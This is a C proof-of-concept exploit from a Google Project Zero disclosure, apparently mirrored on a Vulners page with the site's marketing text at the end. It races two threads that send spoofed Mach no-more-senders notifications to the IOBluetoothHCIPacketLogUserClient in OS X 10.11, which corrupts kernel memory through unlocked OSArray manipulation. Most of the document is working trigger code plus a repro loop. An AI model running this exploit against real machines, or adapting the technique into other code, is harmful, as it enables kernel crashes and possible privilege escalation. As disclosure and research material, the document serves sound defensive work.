/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=572
The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.
repro: while true; do ./iospoof_bluepacketlog; done
Tested on OS X 10.11 ElCapitan (15A284) on MacBookAir 5,2
*/
// ianbeer
// clang -o iospoof_bluepacketlog iospoof_bluepacketlog.c -framework IOKit
// boot-args debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -no-zp
/*
Spoofed no-more-senders notifications with IOBluetoothHCIPacketLogUserClient leads to unsafe parallel OSArray manipulation
The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.
repro: while true; do ./iospoof_bluepacketlog; done
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
io_connect_t conn = MACH_PORT_NULL;
int start = 0;
struct spoofed_notification {
mach_msg_header_t header;
NDR_record_t NDR;
mach_msg_type_number_t no_senders_count;
};
struct spoofed_notification msg = {0};
void send_message() {
mach_msg(&msg,
MACH_SEND_MSG,
msg.header.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
}
void go(void* arg){
while(start == 0){;}
usleep(1);
send_message();
}
int main(int argc, char** argv) {
char* service_name = "IOBluetoothHCIController";
int client_type = 1;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}
IOServiceOpen(service, mach_task_self(), client_type, &conn);
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}
pthread_t t;
int arg = 0;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
// build the message:
msg.header.msgh_size = sizeof(struct spoofed_notification);
msg.header.msgh_local_port = conn;
msg.header.msgh_remote_port = conn;
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
msg.header.msgh_id = 0106;
msg.no_senders_count = 1000;
usleep(100000);
start = 1;
send_message();
pthread_join(t, NULL);
return 0;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation